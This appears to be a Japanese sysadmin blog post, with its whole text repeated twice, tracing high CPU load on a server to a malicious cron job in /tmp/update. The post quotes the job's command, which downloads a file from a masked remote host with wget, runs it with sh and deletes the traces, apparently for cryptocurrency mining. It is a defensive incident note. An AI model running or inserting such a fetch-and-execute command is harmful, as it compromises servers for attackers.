2014年02月26日
Tweet
以前にも記事にしていたのですが、サーバーのCPU利用率が高いのです。
本腰を入れて調べました。
top コマンド
top - 15:57:46 up 34 days, 3:01, 2 users, load average: 3.11, 2.72, 2.57
Tasks: 105 total, 7 running, 98 sleeping, 0 stopped, 0 zombie
Cpu(s): 13.0%us, 5.1%sy, 16.2%ni, 57.2%id, 0.2%wa, 0.0%hi, 0.0%si, 8.3%st
Mem: 2097152k total, 2044344k used, 52808k free, 74448k buffers
Swap: 0k total, 0k used, 0k free, 1720464k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
31744 apache 25 0 33820 4504 1312 R 99.0 0.2 31404:54 perl
1515 apache 15 0 33820 4464 1296 R 13.9 0.2 87:01.78 perl
1589 apache 15 0 33820 4460 1296 R 13.9 0.2 87:14.40 per
1518 apache 15 0 33820 4464 1296 R 5.9 0.2 86:38.93 perl
1521 apache 15 0 33820 4460 1296 R 5.9 0.2 87:06.08 perl
1 root 15 0 10352 728 608 S 0.0 0.0 0:12.17 init
2 root RT -5 0 0 0 S 0.0 0.0 5:51.95 migration/0
3 root 34 19 0 0 0 S 0.0 0.0 0:00.84 ksoftirqd/0
4 root RT -5 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
perl のCPU使用率が高いのです。
サーバーのサービスを一通り止めて、netstat
# netstat -an |grep 80
tcp 0 1 XXX.XXX.XXX.XXX:45634 XXX.XXX.XXX.XXX:80 SYN_SENT
tcp 0 0 XXX.XXX.XXX.XXX:59438 XXX.XXX.XXX.XXX:80 ESTABLISHED
意味不明のところに、「サーバーから」外部の80番ポートにアクセスしています。
これはおかしいと思いました。GUIも入ってないんだから、http アクセスなんてあまりしないはずです。
tcpdump をしたところ、やはり定期的にアクセスを行っています。
cron によって定期的に実行されているのかも・・・と思って調べてみると、あやしいサービスが。。。
cronで、/tmp/update が実行されています。。。なんだこれ!
実行ファイルは、
-- 省略 --
wget http://XXX.XXX.XXX.XXX/p && sh a.php;rm -rf a* >> /dev/null
-- 省略 --
うむむ。個のコマンドの意味はイマイチよくわかりません。
が、どうせ a.php を実行させ、削除しているのでしょう。うむむぅ。
どうも bitcoin のマイニングだったのかな?
ということで、削除しました。
そしてcronできるユーザーを限定することにしました。
cronが使用できるユーザーを限定したい
本腰を入れて調べました。
top コマンド
top - 15:57:46 up 34 days, 3:01, 2 users, load average: 3.11, 2.72, 2.57
Tasks: 105 total, 7 running, 98 sleeping, 0 stopped, 0 zombie
Cpu(s): 13.0%us, 5.1%sy, 16.2%ni, 57.2%id, 0.2%wa, 0.0%hi, 0.0%si, 8.3%st
Mem: 2097152k total, 2044344k used, 52808k free, 74448k buffers
Swap: 0k total, 0k used, 0k free, 1720464k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
31744 apache 25 0 33820 4504 1312 R 99.0 0.2 31404:54 perl
1515 apache 15 0 33820 4464 1296 R 13.9 0.2 87:01.78 perl
1589 apache 15 0 33820 4460 1296 R 13.9 0.2 87:14.40 per
1518 apache 15 0 33820 4464 1296 R 5.9 0.2 86:38.93 perl
1521 apache 15 0 33820 4460 1296 R 5.9 0.2 87:06.08 perl
1 root 15 0 10352 728 608 S 0.0 0.0 0:12.17 init
2 root RT -5 0 0 0 S 0.0 0.0 5:51.95 migration/0
3 root 34 19 0 0 0 S 0.0 0.0 0:00.84 ksoftirqd/0
4 root RT -5 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
perl のCPU使用率が高いのです。
サーバーのサービスを一通り止めて、netstat
# netstat -an |grep 80
tcp 0 1 XXX.XXX.XXX.XXX:45634 XXX.XXX.XXX.XXX:80 SYN_SENT
tcp 0 0 XXX.XXX.XXX.XXX:59438 XXX.XXX.XXX.XXX:80 ESTABLISHED
意味不明のところに、「サーバーから」外部の80番ポートにアクセスしています。
これはおかしいと思いました。GUIも入ってないんだから、http アクセスなんてあまりしないはずです。
tcpdump をしたところ、やはり定期的にアクセスを行っています。
cron によって定期的に実行されているのかも・・・と思って調べてみると、あやしいサービスが。。。
cronで、/tmp/update が実行されています。。。なんだこれ!
実行ファイルは、
-- 省略 --
wget http://XXX.XXX.XXX.XXX/p && sh a.php;rm -rf a* >> /dev/null
-- 省略 --
うむむ。個のコマンドの意味はイマイチよくわかりません。
が、どうせ a.php を実行させ、削除しているのでしょう。うむむぅ。
どうも bitcoin のマイニングだったのかな?
ということで、削除しました。
そしてcronできるユーザーを限定することにしました。
cronが使用できるユーザーを限定したい